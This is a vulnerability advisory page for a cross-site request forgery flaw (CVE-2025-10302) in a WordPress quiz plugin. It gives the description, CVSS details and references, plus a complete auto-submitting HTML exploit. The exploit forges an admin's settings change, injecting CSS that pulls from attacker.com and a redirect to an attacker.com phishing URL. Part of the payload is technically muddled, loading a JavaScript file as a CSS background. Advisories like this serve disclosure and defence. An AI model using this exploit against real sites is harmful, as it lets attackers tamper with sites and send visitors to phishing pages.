CVE-2025-10302

Description

The Ultimate Viral Quiz plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on thesave_options() function. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ultimate Viral Quiz <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CVE-2025-10302 CSRF PoC -->
<!-- This PoC demonstrates how to exploit the missing nonce validation in Ultimate Viral Quiz plugin's save_options() function -->
<!-- Target: WordPress site with Ultimate Viral Quiz plugin <= 1.0 installed -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-10302</title>
</head>
<body>
    <h1>Loading...</h1>
    <!-- Auto-submitting form that targets the vulnerable save_options() function -->
    <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin.php" method="POST">
        <!-- The action parameter targets the Ultimate Viral Quiz settings page -->
        <input type="hidden" name="page" value="ultimate-viral-quiz" />
        <input type="hidden" name="action" value="save_options" />
        <!-- Malicious settings payload - modify plugin options -->
        <input type="hidden" name="option[quiz_title]" value="Hacked_Quiz" />
        <input type="hidden" name="option[custom_css]" value="body{background:url('http://attacker.com/malicious.js')}" />
        <input type="hidden" name="option[redirect_url]" value="http://attacker.com/phishing" />
    </form>
    <script>
        // Auto-submit the form when the page loads
        // The browser will include the admin's session cookies automatically
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-10302
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-10302
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-10302/
[4] VulDB https://vuldb.com/cve/CVE-2025-10302
[5] https://plugins.trac.wordpress.org/browser/ultimate-viral-quiz/trunk/bestbugcore/classes/options.class.php#L28
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/fbe32b9e-a6da-4257-b740-63a143cee42f?source=cve

Raw JSON Data

JSON

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